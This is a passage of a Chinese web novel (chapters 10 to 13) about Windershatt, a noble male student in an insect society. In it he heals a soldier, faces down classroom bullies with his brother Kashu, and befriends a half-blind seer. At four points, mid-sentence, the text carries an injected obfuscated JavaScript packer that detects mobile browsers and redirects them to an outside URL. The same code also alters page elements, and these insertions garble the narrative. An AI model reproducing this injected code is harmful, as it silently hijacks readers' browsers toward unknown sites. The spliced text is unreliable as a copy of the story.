艾诺老师一噎,目光扫过教室后排。不得不承认,这话说得虽然难听,但确实是实话。 大部分雄虫都在玩光脑,玩累了才会回过神来听课找茬,消磨时间。地上四散着烟头,酒瓶,毛发和皮屑;空中弥漫着怪味,惰怠和相互之间粗鄙的谩骂。 要盼他们成为优秀指挥,遥遥之途似是无期。 正式上课第一天,艾诺残存的教学信念碎得稀烂。 他左手掐右手虎口,强迫自己恪守职业规矩,继续流程: “有同学想试试为这位下士疏导精神力吗?” “碰他?恶心死了,狗都不去!” 詹姆斯下士羞愧难当,“阁下,我过来之前特意洗漱过,不会脏的。” “这里轮得到你个军雌说话?” “好了,”艾诺老师及时打圆场,“既然没有志愿者,那就……” “我想试试。” 温德夏特举起手,“可以吗,老师?” 艾诺老师大为惊喜,身子前倾,“当然,快上台来。” 温德夏特注视着雌虫,“你呢,你同意吗?” 詹姆斯愣愣对视,呆讷地点了点头,随后红着脸收回目光。 温德夏特这才走到台前。 艾诺老师双手“啪”地合十,“那么接下来,就按照我们上节课讲的方式引导精神力进入他的身体吧。放心,我会全程监控,保证你们的安全!” 温德夏特搓热手心,轻放到雌虫后颈,闭目。 艾诺老师提示:“集中注意力刺激精神腺,激发出尽可能多的精神力。” 蓬勃的精神力从温德夏特体内炸开,他手法生疏,好在不急躁,把白花花的气团控成细线,在空中骨碌碌旋转。 老师愕然,“这位同学的精神力底蕴很足啊。” “好,可以开始引导了。” “精神力不要外溢,沿着雌虫的血管铺平…没错,就是这样!接下来假想一些苦痛,对原有的障碍物进行冲击……这是个难点,因为只能靠潜意识驱动……” “砰——” “砰砰——” 空气悚然颤动,像有一双无形的大手揉捏着筋骨。 所有雄虫都停下了手中的游戏,在震惊中顺其自然地被这共振所带动。 教室被浊浪滔天的精神海吞没,温德夏特发丝飘动,全身波光粼粼……如此洁白光滑,细腻而纤柔,充满神性。 “这种程度…还叫劣等生?” 还被留级了?! 新上来的雄虫面面相觑。 与此同时,詹姆斯的面目逐渐狰狞,白色的能量在他的动脉中搏动,以他为中心卷起的风暴撕裂了上衣,游龙般的能量脉络在他周身迅速运转,仿佛随时都要从他的体内钻出。 但他还在咬牙坚持,痛苦已经钻入了他的意识,攀附上他的神经,撕扯着他的躯体,震荡着他的灵魂—— “爽……好爽……” 气势不断攀升。 雌虫突然绝烈地一声高嗥:“啊——!” 他面色潮红,眼前发黑。腿一软,靠着双臂的力量强撑在讲台上。 温德夏特被这凄惨的叫嚷激得赶忙收力,俯身拖住雌虫的小臂,惊疑不定,“老师?” 闹出这么大动静真的正常吗? 课件里的标准流程里,雌虫明明全程都很舒服啊! “不,没事,你做得很好!” 艾诺有点呼吸不上来,“同学你怎么称呼?” “温德夏特。” “温德夏特?康曼德家的那个温德夏特?” “正是。” “别人都说康曼德家大少软弱无能,依我看,这流言蜚语还是不能全信。” 艾诺心焦,两个深呼吸,耐下性子解释,“我不知道你究竟经历了什么,但你对痛苦的理解非常到位…按我的推测,你的精神力已经开拓了军雌的耐受度,也就是说,他日后受污染的程度会大幅度消减!跟了你的雌虫,只吃小苦,不吃大苦!” 詹姆斯下士此时也恢复过来,顶着一身薄汗激动道:“阁下!谢谢阁下!” 光彩重新注入他的眼睛,雌虫单膝下跪,“我是N区下士詹姆斯怀特,编号38119,今日蒙您垂怜,我一介军雌不会说什么好听的话,如果日后您有用得上我的地方, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357201|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请随时联系,刀山火海,在所不辞。” 温德夏特也不矫情,“有光脑吗?” “有的阁下。” “给,留个联系方式。” 詹姆斯惊呆了,霍地看向雄虫递来的光脑。 一位雄虫阁下在要自己的联系方式! 而且阁下这么真诚,这么强大,这么贵气…… 詹姆斯左手在衣服上蹭了蹭,接过光脑,右手在衣服另一个位置蹭了蹭,逐字输入自己的通讯号码。 不知为何,他蓦地想起那些被精神力暴动折磨得生不如死的好友。 在军区,雄虫指挥官的精神力有限,一天下来只给几个雌虫疏导。那些雌虫大多表现出色,位居高位,根本没虫在乎他们这些普通下士的生死。 所以当学院到前线来招募教具的时候,詹姆斯狠下心花了八万通路,才侥幸拿到这个名额。 他已经做好了最坏的打算,一开始雄虫阁下们取笑自己的时候,他几乎绝望了。 但是他碰到了这样好的阁下。 温德夏特…温德夏特… 好友惨死的时候詹姆斯都没哭,只是感到麻木。但现在,按着按着,苦泪不自觉奔涌。 “还是难受?” 温德夏特拱起食指,替雌虫拭去泪水。 詹姆斯没来得及惊异,又有一丝清凉的精神力注入了他的身体。这精神力跟刚才的粗暴完全相反,收敛含蓄,格外体贴,好似浑浊疲惫里的一汪清流。 “我控制了一下剂量,这样会舒服一点吗?” 温德夏特…温德夏特! 仰起脖颈看清雄虫的刹那,詹姆斯再难自控,情绪轰然断裂。 灯晕下,雄虫的背腹薄薄一片。白气轻飘飘,缕缕绕绕,像条跃动的仙人的丝带,盛满了伟大而光辉的神韵。 教室里鸦雀无声。 所有虫都静默着。 詹姆斯嘴唇抖似筛糠,上下牙“咯咯”打架,似是不舍,更是感激:“阁下——!” 我好他妈想晚生几年认您作主啊!! 温德夏特倒没觉得有什么。 他上辈子骨头渣子都冒着苦水,最能理解这种可怜虫。现在多做点好事,多帮帮忙,自己心里也好受点。 存好联系方式后,詹姆斯仔细查了三遍无误,又给温德夏特大鞠一躬,自行离开了教室。 剩下半节课,除去温德夏特,几乎没虫的心思还在课业上,包括老师。 下课铃刚响,艾诺就噌噌几步飞来,扣住温德夏特的手腕,“夏特同学你稍等一下,我去找位精神力鉴定师,你的精神力好像有点特殊。” 温德夏特没有一开学就被别人盯上研究的打算,开口胡诌:“老师,我感觉我的精神力已经穷尽了,得过些日子才能恢复。” “没事,刚刚的精神力爆发的余波还在。”艾诺老师兴致依旧,面颊红扑扑,轻拍温德夏特的肩膀,“老师去去就回哈。” 还没来得及回话,艾诺就撒腿飞奔了出去。 …这可遭了。 温德夏特转头,那群雄虫虎视眈眈,但有所忌惮,还没发作。 他心生一计,点开光脑。 【联系人:卡修】 【修啊——救命!】 11. chapter011 *chapter011* *F班,真他妈乖* 温德夏特刚起身,还没来得及作妖,教室前门窦然弹开。 一金发雄虫蛮牛似的撞进来。 他上了些年纪,浑身酒气,一圈络腮胡,嘴里不羁叼着根牙签,头上顶着副小圆眼镜,活脱脱像只宿醉的大金毛。 后排的雄虫见到他,全体恭敬起立,“狗叔!狗叔好!” 狗叔颇为威风,豪横挥手,“好好好,都坐下吧。” 温德夏特本以为这是下节课的老师,不料那虫一个兜绕,落座学生席。 雄虫们仿佛突然有了靠山,毫不避讳地指着温德夏特打报告:“狗叔,那虫不识好歹,明里暗里瞧不上阿飘要进贡给您的那个光脑!” 狗叔这时才半吊眼睛看过来,温德夏特平静跟他对视,清秀脸庞和周遭的雄虫形成了强烈反差,笃定之姿让他更加无所适从。 “咳咳……那个,你也是新生?长得不错,以后贴身跟我混吧。”狗叔捏下来牙签,大声质问,“你叫什么?” “温德夏特。” “啊~温德夏……什么?!” 狗叔顿时立正,目光上下扫视,面色惊变,声音夹得温柔,“老大,我盼星星盼月亮,可算把您盼回来啦~!” “老大?”温德夏特紧蹙眉头,总觉得辈分不对,“你今年多大?” “跟我分班考成绩一样,三十六。” “…三十六了怎么还没毕业?” “老大,咱不是说好了生生世世不分离么?就一辈子呆在这安全奢侈的校园里,喝点小酒,赚点小钱,滋滋润润把这辈子过完,绝不去前线送死!” 温德夏特嘴角一撇,知道这定是原身的狐朋狗友之一。 “你,狗叔?” 他好像没在日记本里看见过这个名字。 狗叔扭动着腰肢跑到温德夏特身边,“哎呦,折煞折煞!都是这群新生不懂事瞎起哄,编排出的名字,您跟以往一样叫我二汪就行。” 温德夏特了然,扬扬下巴,“你是他们的老大?” 狗叔谄媚地笑,“我是他们的老大,您是我的老大~” 温德夏特向后一靠,“那你让他们再来欺负欺负我。” 狗叔听见这无厘头诉求,笑容一收,愣了。 “老、老大?” 一个假期不见,成抖m了? 温德夏特冷笑一声,“我以前从没受过欺负,今天算是头一遭,还挺新奇。” 狗叔不是个蠢的,听出了他的弦外之意,当即爆发。 “你们都特么疯了?” 他灵活一跃,跳到温德夏特身后,给他按肩揉腰,郑重介绍,“这位是我老大,康曼德家的大少爷!校园里不可忤逆的特权生!你们谁想找死,可千万别带上我!” 一雄虫委屈嘟囔:“继承人不是确定是卡修阁下了吗?” 另一雄虫跟着附和:“狗叔您甭不信,卡修在开学前特意嘱咐过,要我们好好收拾一下这小子!” 狗叔隔空一蹬腿,“老子听你满嘴放屁!我老大各个方面都对卡修没个屁的威胁,他平白无故针对我老大干什么!败坏自己的名声吗?” “噗……” 温德夏特耳尖,听到远处熟悉的笑声,抬眼一望。 卡修一身黑风衣倚在班门旁,跟个小煞神似的咯咯乐。 兄弟对视,好戏开场。 卡修缓慢踱步,“哥,怎么着,有人为难你?” “没啊,大家都特友善。” 温德夏特回头温婉一笑,开始阎王点名,“这两位关心我会不会再自杀,那位向我热情展示他的高级光脑,我腿长走得快,他还故意加快步频赶上来介绍呢。” 卡修的目光顺着温德夏特手指的方向落下,不动声色打点,“是么?我让你们照顾我哥,你们就给我照顾成这样?真是承蒙各位厚爱。” “照顾…” 雄虫们面露菜色,像喉咙里噎了块屎,“您说的‘照顾’是真照顾啊?” 温德夏特紧抱卡修大臂,祸国妖妃似地撒娇,火上浇油,“修,刚刚还有虫用精神力压我,吓死我了!” 雄虫群起反抗:“没有啊,他胡扯!” 温德夏特捏鼻子气鼓鼓,“你感受一下,气息还没散呢。” 卡修仔细一探,果然有股不俗的精神力残留,目光中多了几分认真,喃喃:“有这样的能力却不用在正道上,可悲可恨。” 他提高些音量,“是谁干的?” 众雄虫怯怯啜嚅。 “说话!” 一雄虫硬着头皮站出来,“…他!” 顺着指尖看去,正对着温德夏特。 “…你说谁?” “就是他!温德夏特!” 卡修转头看去,温德夏特眨巴着大眼睛,何其无辜。 “哥,你把那虫指出来,我帮你报仇。” 温德夏特努努嘴,“我当时被吓坏了,也没看清是谁。” “这样吗?” “那就通通连坐好了。” 卡修脸在兜帽阴影里看不出喜怒,精神力喷薄而出,“我不介意替虫神大人把垃圾都清理干净。” 卡修和温德夏特优雅地站在前排的光芒中,班级另一侧则是浓烟滚滚,全班上下雄虫的脸都被摁在桌面上揉搓。 他们心跳加速,呼吸困难,眼睛嘴巴扭成了一团,承受着大鼓捶心的压迫感。 “信不信,就算我今天把你们的精神海都冲烂了,只要你们还能起正常的生理反应,就不会有人怪罪我。” “毕竟烂成你们这样,也就只剩下个生殖价值了。” 雄虫们脸色青白,性命关天,只好打碎了委屈往肚子里咽。圆盘大脸艰难抬起,“阁下,我们不敢了!” 求饶声此起彼伏,卡修懒得一一应答,他心里也有数,收了精神压迫往里走。 雄虫们一脚深一脚浅往两边涌,纷纷让道,卡修踩着椅子,精准揪出阿飘。 或者说,阿飘手腕上金光闪闪的光脑让他从一众雄虫中脱颖而出。 “这货色确实不错。” 卡修的目光从阿飘的手腕划到头顶,“身子那么胖,头倒是还蛮小的。” 阿飘眼中满是惊惧不定,努力挤出个笑容,“谢、谢谢阁下?” 卡修声音幽幽,“很适合当球踢。” 阿飘被吓得肝胆俱裂,身子一个趔趄,眼看就要仰倒。温德夏特一把抓住他臂膀,稳当停住。 “好了好了,修啊,差不多得了,别给吓尿几个。待会儿还有课,打扫起来太麻烦。” 卡修看一眼时间,面容冷峻,“那我也去上课了,有事叫我。” 他顿了顿,又说:“别忘了我们晚上的约定。” 卡修轻飘飘离开,但他所爆发的蛮横已经镇住了整个班级。 待艾诺老师带精神鉴定师归来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357202|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温德夏特原先的气息早已无影无踪。 后面几节课,十几名雄虫大气都不敢出,唯恐叨扰刺激了那位特权生。 老师们上完课都觉得惊讶,说,这届F班好啊,连水得不能再水的课都贼他妈的乖。 除了有个小嫩虫坐第一排睡觉,旁边还有个胡子拉碴的老虫给他扇风。 * 上完课,回宿舍已是七点。 温德夏特仰望高楼,感叹:“一梯两户,真富贵啊。” 宿舍是标间,空间构架都差不多,内部布置却异常豪横。 灯饰考究,艺术风格浓郁,处处彰显着尊贵气息。 柜子里的衣着色泽饱满,清一色的大牌秀款,原主似乎热衷于引人眼目,有流苏、亮片、蕾丝,甚至有几件夸张的暴露款小短裙。 …还行,可以卖了换钱。 温德夏特这样安慰自己。 天色渐暗,温德夏特去按灯光开关,“啪嗒”一声,灯没动静。 “嗯?” 他不信邪,又去按,开了关关了开,黑暗依旧。 “什么情况?” 一刻钟后,温德夏特蹲在总电闸前,被闹得没脾气了,耷拉着脑袋拨通了专线。 “您好,尊敬的温德夏特阁下。我们收到了宿舍系统的明细账单,已经按照协议将材料发送给您了。 “如果您想继续家电使用合约,您需要付1000星币的罚金,并去宿舍大厅线下缴纳逾期款项和滞纳金。若持续未缴,您的家电将被关闭。 “款项无法及时付清,我们别无选择,只能结束服务。感谢您的支持与配合,再见。” 对方无情地结束了通话。 温德夏特从999+未读消息中找到了账单。 什么嘛,竟然还要去线下缴费。 而且明明宿舍大厅在下午五点后就不再接客了! 温德夏特心里埋怨这一点也不虫性化的制度体系,打算跟卡修说一声,今晚去蹭他的宿舍,明天再来弄这狗屁电费。 一个猛子起立,扭着胃了。 温德夏特猝然躬身,掐嗓哼了哼,把身姿放柔软,手掌根抵住腹部。 操…习惯了上辈子三天一顿饭的频率,今天竟然忘吃晚饭了…… 好疼…… 都是前身这个死酒鬼死酒鬼死酒鬼!每天非喝酒非喝酒非喝酒!要不是他天天把酒当饭喝,这胃也不至于这么脆弱! 温德夏特收了光脑,不想让卡修看见自己这幅惨状,裹上外套蹑手蹑脚出门,打算先去吃点饭,买点药。 电梯间的顶灯让他眼睑处打上睫毛的长阴影,睫毛抖,阴影也跟着抖。香汗从额顶顺进发丝,唇齿红艳。 疼痛比预想中的还要剧烈。 而他也显然高估了一副雄虫身体的抗压能力。 温德夏特眼睁睁看着电梯显示屏上血红的数字不断跳动: 【1…2…3…】 【10…13…18……】 【25】受不住了,两眼一磕昏过去,“咣”得砸在地上。 【32】电梯门开启,等了半分钟无人搭乘,又悻悻关闭。 这时,对面的门开了。 雄虫站在房门外,眉眼间闪过一丝纠结,最终将温德夏特轻拥入怀。 “真会作践自己。” 他低头望着温德夏特,沾染上些不清不楚的情绪,“二十岁就开始胃溃疡了,大少爷…嫌命长吗?” 12. chapter012 *chapter012* *希尔十三的示好* 昏昏沉沉间,有人掰开自己的嘴,将细长的吸管伸进喉咙,“呲”一声响,营养液源源不断流入身体。 营养液这东西,上辈子有个路过歇脚的星盗送过他一箱。无色微甜,一小瓶就能顶一顿饭,在他们那个饥荒年代算得上是宝贝。 不过这辈子成了雄虫,好吃好喝的太多,衬得营养液相当上不得台面。 温德夏特睁开眼,房里漆黑,靠窗还有些散射过来的霓虹灯光,越往里越暗。 他声音发虚,“也没交水电费么……” “你醒了?” 温德夏特抬头,眼前的雄虫瘦得脱了形,几乎就是骨架上绷着一张皮。一条鬼气冲天的白布挂在眼间,顺风飘,银白色长发沉甸甸直垂地面。 那雄虫说:“我力气太小,没法把你搬上沙发。” 温德夏特撑起身,自己果然躺在地毯上,头下垫着一块软乎乎的靠枕,可见其主人的好心肠。 “谢谢,”温德夏特目光真诚,“怎么称呼?” 雄虫伸出一只手,“希尔十三。” 温德夏特毫不犹豫握上去,一触即离,跟着自我介绍:“温德夏特。” 希尔十三感受着空落落的掌心,微微动容,“我是想拉你起来。” “噗…我还没虚弱成那样。”温德夏特拍拍屁股起身,半开玩笑说,“你还没我重呢,我一用力,咱俩一块儿倒了。” 希尔十三抿了抿唇,“你有力气了就趁早回去吧。” 温德夏特一哽,“我就这么臭名昭著,不招虫待见?” “不是你的问题。” 希尔十三温吞解释,“我对你没有任何偏见,是家族不让我跟康曼德家的嫡系接触。” 温德夏特啧啧称奇,“怎么还有这么奇怪的规矩,我们两家是世仇?” “那不至于。”希尔十三垂头,“但我是先知预备役,理应与指挥官保持距离。” “先知?那个能预言异种爆发地点的神职?” “对,不过大部分虫都暗地里称呼我们为‘乌鸦嘴’。在你们的观念里,先知似乎只能预见灾难,但其实我们能看到的东西很多——”他顿了顿,“——比如你超乎常虫的精神力。” 希尔眼前挂着厚布,眼神却尖锐,突破白布投射向温德夏特,“你很奇怪,你的精神力天赋甚至比卡修还要强,但是开发程度几乎为零。” “除此之外,我还有很多你不知道的屁事呢。”温德夏特耸肩,“即使是先知,也没法窥探世界的全貌吧?” “确实,我完全看不透你。”希尔十三神色漠然,毫无愧色地承认了自己的弱点,“我本是不可能去主动搭救任何虫的,是你的混杂引起了我的兴趣。” 温德夏特好奇,“你能看到什么?” “你心思不纯。” “哇——真准!”温德夏特掏出光脑,早有准备点开那个异种的照片,莫名确信希尔十三能透过布条看清屏幕,“先知大人,劳您帮我看看,这东西下次会在哪里冒头?” “我想你对先知的预言体系有些误解。” 希尔十三扯下白布,露出向内深陷的眼窝——眼球灰白,瞳孔消散。 “我是个瞎子。” 温德夏特瞪圆眼睛半晌没说话,希尔十三笑道:“被吓到了吗?” 不料温德夏特忽地向前突击,伸手探他额头,希尔十三恍惚间一个瑟缩,眸光闪烁,后撤半步。 温德夏特得逞地笑,“看来你还是能看见一点东西的嘛。” “几乎瞎了。”希尔十三淡定改口,又问,“你不怕我?” “要怕也是该你怕我吧?” 温德夏特凑近去仔细打量,对面白瞳雪睫,独具一格的漂亮,“怎么搞的,受伤了?” “先知锤炼精神力的方法跟平常虫不一样,会高度致盲。” “疼吗?” 希尔十三愣了愣,似乎从来没有虫问过他这个问题,“一开始有点,后面习惯就好了。” 温德夏特晃了晃光脑,“所以这个…你看不清?” 希尔十三的语气软了很多,“我无法从单薄的屏幕上预言出什么有用的东西——说到底,图像的本质只是光的折射,不存在任何实体。如果想跟我交流,你可以试着用精神力图景向我描绘,越细致越好。” 温德夏特跃跃欲试,“现在可以吗?” “请便。但如我方才所说,你目前的精神力开化程度很低。” 温德夏特坚持道:“我还是想试试。” 哪怕只有一丝可能,他也不甘放弃。 希尔十三用那空洞的眼神盯着温德夏特,一言不发。 溢出的精神力向上飞溅而出,在温德夏特的雕琢下,扭出一个长虫的形状。 说长虫也行,说麻绳也行。一长条精神力像糖葫芦一样圆润的分了节,但什么表面光滑,什么细节都没有。 温德夏特抬手一挫,长虫脱离了原本的轮廓,头部细化了。希尔十三本能地握紧拳头,全身警戒。 接下来他停顿了很久,不厌其烦地重复着挫冰的动作,但长虫只是在空中扭动,没有继续细化下去的征兆。 一刻钟后,希尔十三指示:“可以了。” 无人搭腔。 希尔十三提高了点音量,“温德夏特,可以收手了,你精神力快竭尽了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357203|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温德夏特这次“嗯”了一声,但动作依旧。 “温德夏特!” 希尔十三眼疾手快拽住他衣领,一扯一勒,把温德夏特逼出一声咳嗽,“快住手!精神力透支了会伤其本源!” 温德夏特这才收手。 空中舞动的白色游龙片刻拉长,片刻缩减,弹簧似的跳脱,最终湮灭在黑暗中。 温德夏特没了力气,腿一软,向后仰倒。希尔十三想扶,钳住他腰腹,不料失了重心,把自己也赔了进去。 温德夏特蓄力一扯,在落地前把自己垫在希尔下面,后背拍上地面,喉咙抖出一声闷哼。 希尔十三慌忙起身摁着他,“你个疯子!疼不疼?” “有地毯。” 温德夏特舔了舔唇,边喘边笑,“刚刚就差一点儿…” 希尔十三晃晃悠悠想拽他起来,怎么拽都拽不动,急得几乎要哭出来,“我看你是真疯了!” 温德夏特第一次看他如此失态,想安慰,可惜精疲力尽,只能耷拉着眼皮看他在黑夜里来回走动。 希尔围着客厅绕行三圈,甩着长发嘟囔,终于平复下来情绪,跪坐在温德夏特面前: “夏特,你最近会有很多麻烦。” “我虽然没看到异种的信息,但我在你的精神力里感受了很多煞气…甚至比一些雌虫战士的还要多。” 温德夏特浅笑,“安啦,我命大,死不了。” “我没开玩笑,这很严肃。”希尔十三撇脸,“你打算怎么处理?” “来一件处理一件,大事化小小事化了,剩下的眼不见心不烦咯。” 希尔十三向前凑了凑,传授经验:“神把我们生成雄虫是有原因的,夏特,好好利用这张贵族牌。从今天开始变得寡言而不易接近,别人自会给你带上一副矜贵的滤镜。 “不展露出通俗的表达方式,交流要简洁,精确,不展露过多激进情绪;言行要充满上位者对下位者的接纳,包容。极端一点讲,就是对下位者的充分无视,不设防。” “下位者?” “就是除了家族长辈以外的所有存在。” 温德夏特蹙眉摇头,“那样不好,你会没朋友的。” “我不需要朋友。”希尔十三笃定地说,“修行到最后,先知会彻底丧失五感,不与外界交互,全身心感悟神的旨意。” 温德夏特终于有力气坐起身,指腹轻轻蹭着希尔脖颈,“不需要朋友吗?我还以为我们算是朋友。” “你……” “噢对了,我才想起来,你家族不允许你跟我离得太近。” 温德夏特收回手,两虫缄默对望。 那双眸子盛满月光,亮得动人心魄。 13. chapter013 *chapter013* *首富之子,但抠搜依旧* 此时此刻,希尔十三很难否认自己内心的波澜。 入学三年,他能将绝大多数虫一眼看到底。 过来巴结他的虫数不胜数,但那些藏在微笑面具下的俗不可耐的意图让他由衷感到恶心。 说到底,他们想要讨好的不是自己,而仅仅是未来的先知大人。 这个世界充满了主体之间烂熟的臭味,希尔十三早就认了。他长久地回避非必要的社交,直到今天,直到刚刚,希尔陡然意识到,原来他已经独自飘了太久,原来他也会感到孤单。 他渴望一个朋友。 温德夏特有着别样的灵魂,希尔甚至觉得他不像雄虫,他像个疯子,像精神崩溃的军雌,竟然压榨自己的生命为了那一瞬间的灵感。 让人不自觉地想靠近,想看清。 希尔知道这太快了,不应该这样快,明明应该作更多铺垫,明明应该经过家族审批,应该先调查清楚他的来意与真心,但是他实在不甘心就这样错过。 希尔十三侧开头,两虫目光交错。 “不如这样,你每周抽空来找我一次,我可以通过看你来判断我预知能力的进步速度,作为交换,我会无偿帮你预言你想知道的东西。” 希尔十三停顿了一会儿,“作为合作伙伴。” “好耶!”温德夏特双手握住他手腕,“新朋友,你觉得我要多久才能创造出一份合格的精神图景?” “是合作伙伴。”希尔十三认真指正,又认真给出参考,“从零基础到入门,我用了四年。” 温德夏特垂眸思索,喃喃:“那太久了。” 希尔十三稍微提高一些音量:“……我是希尔家族百年来公认的天骄。” 温德夏特歪头浅笑,“抱歉,我的意思是对我来说,每一秒都很珍贵。” 希尔没多计较,“如果很急的话,你可以问问A.L.老师,他应该知道一些快速提高精神力熟练度的方法。” 温德夏特挑眉,“那位是?” “你不知道A.L.?关闭服务了吗?” 希尔十三有些吃惊,“那是每名雄虫入校时标配的一款虚拟现实教学产品,从外观到内在都一比一复刻了迄今为止最全能的雄虫天才A.L.。” “啊…好像有点印象。” “关了也没关系,那个服务随时都可以再续,只不过他可能会发点脾气。” “脾气?” “A.L.老师很有个性。” “灵魂是可以被设计出来的吗?” “编程算法无所不能,在我眼里,它甚至比一些虫还懂得灵活变通。” 温德夏特内心感叹,乖顺地点头,“我回去会试试的,虽然我忘了缴费,宿舍的水电目前都处于不供应状态……” “可能已经修好了,昨晚门外有点动静。” “诶?但我还没有报……” 昨晚… 昨晚?? 遭了! 温德夏特抬起手腕定睛一看,日期翻了篇,凌晨三点半。 “怎么这么晚了!” “我当初看你疼的厉害,喂了片止痛药,副作用是嗜睡。”希尔十三关切地问,“你有什么要紧事吗?” 温德夏特揉一把鼻子,心虚,“没,只是卡修说过晚上要来找我。” 他的手指在界面上翻飞,果然蹦出来几个惊悚的红色感叹号。 【特别关心:卡修发来3条新消息】 【卡修:视频通话,未接通。】 【卡修:视频通话,未接通。】 【卡修:白天拿我当枪使,晚上给我玩失踪。很好啊温德夏特,你最好给我个合理的解释。】 温德夏特看见这话,心凉了半截。 他忙给希尔一个大力拥抱,转身就走,“好朋友,我以后再来找你!” 希尔十三抱臂站定,“你确定现在过去把他闹醒不会让他更生气?” 温德夏特哑然。 他忘了,雄虫晚上是要睡觉的。 希尔十三幽幽走到他身边,抬手一指,“那间客房虽然一直无虫问津,但我把它打扫的很干净,一次性的洗漱用品也富余。既然你那边停水停电了,如果不嫌弃,今晚可以住在我这里。” 他不忘补充:“作为合作伙伴。” 温德夏特犹豫片刻,定了主意。 他一改心急火燎的模样,反身抱住希尔的大臂,“希尔,你虫真好。” 希尔笑而不答,“快去洗漱休息吧。” 等安置好温德夏特,希尔十三回到主卧,反锁,眼睛咕噜噜转,掉下两片白色虹膜。 他将头缓缓倒向一侧,对着镜中那双有神的黑色眼珠怔怔出神。 “朋友啊…” “朋友……” *早八点。 希尔十三家里没有食材,一打开冰箱,全是营养液。 还都是无额外调味的基础款。 两虫各自抱着一玻璃瓶,面对面,用劲吸。 温德夏特盯着那木柴一样的大臂,忍不住劝:“希尔,你真该吃点好的,时不时点些外卖也行啊。” 希尔十三满不在乎,“反正到了最后都会失去味觉。” 温德夏特扭开盖,把剩下的营养液一口全闷,跟吹了一瓶白的似地豪情,“所以现在才更应该抓紧时间享受嘛!” 希尔咬住吸管呲呲地吸,觉得在理,妥协道:“我有机会会尝试。” 温德夏特一乐呵,说看楼下的葱油饼就不错,今天放学后给他捎一个。希尔十三说不用麻烦。温德夏特想了想,觉得一上来直接吃这个确实有点油腻,又改口,要给他带碗白粥,那种加了一点糖的、热乎乎糯叽叽的白粥。 希尔十三拗不过他,心里莫名欢喜,半推半就应下来。 等希尔慢吞吞吸完,两虫在门厅处告别。 希尔十三专业特殊,今年没有通识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357204|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 课,几乎不用出宿舍,温德夏特羡慕嫉妒剐了他几眼,被他羞得推出门去。 “夏特,一定要把你的精神力藏好,不要被发现,也不要将我们之间的交情说给别人。” 希尔十三倚着门框细细叮嘱,“家族只能容忍我低调地跟康曼德家的废少爷玩。” 温德夏特摆摆手,让他放心,“安啦,我很擅长扮演废物。” 毕竟他本身就是个屌丝完全体。 * 今天只有上午有课,近代史概要,温德夏特迷迷瞪瞪撑着下巴,恍惚间听到了几位“康曼德”前辈。他每听到一次就睁大一次眼睛,确认老师没在点自己的名后才耷拉下去。 下午是公休,他不多犹豫,一鼓作气跟卡修约了午饭。 真正的猛士,敢于面对淋漓的鲜血! 见了面,卡修的情绪还算稳定,“你脑门怎么是红的?” 温德夏特伸手摸摸,光滑得很,“睡觉压的。” “噗……来约我吃饭的,名贵酒店有,星级餐馆也有,学校食堂倒是头一遭。” 卡修嘴角呛笑,“怎么,怕我揍你,让大家的目光做你的保护罩?” “哎哟~我们小修才不会揍我呢,这儿不是离得近嘛,方便。” 卡修频频抬眼看他,雀斑星星点点缀在面中,有点可爱,“以后都不打算化妆了?” 温德夏特点头,“起不来,懒得搞。” “挺好,清爽,水灵。” 温德夏特嘿嘿笑起来,刚酝酿起情绪准备趁热撒娇,不料被卡修无情打断:“昨晚干嘛去了?” 温德夏特知道逃不过追问,当即收回笑容,“去我一个朋友家里。他失恋,我身为好哥们,怎么说也得陪他几杯吧?结果不知道为什么我酒量变差了,一不小心就醉过去了。” “我就说,你在各大会所都欠着钱,还能去哪里潇洒。” 卡修玩手指,冷冰冰说,“鉴于你昨天的失信,这个月除了那二十万,家族不会给你其他的资助。正常生活的话,这些钱绰绰有余。” 温德夏特瞬间苦脸,“修啊……” 卡修没给他软磨硬泡的机会,“这件事没得商量。” “我知道,我没异议,但是这顿饭…你能请我吗?” 卡修一愣,难以置信地望向温德夏特。 “食堂?就这两碗豌杂面?” 温德夏特媚眼如丝,“嗯呢。” 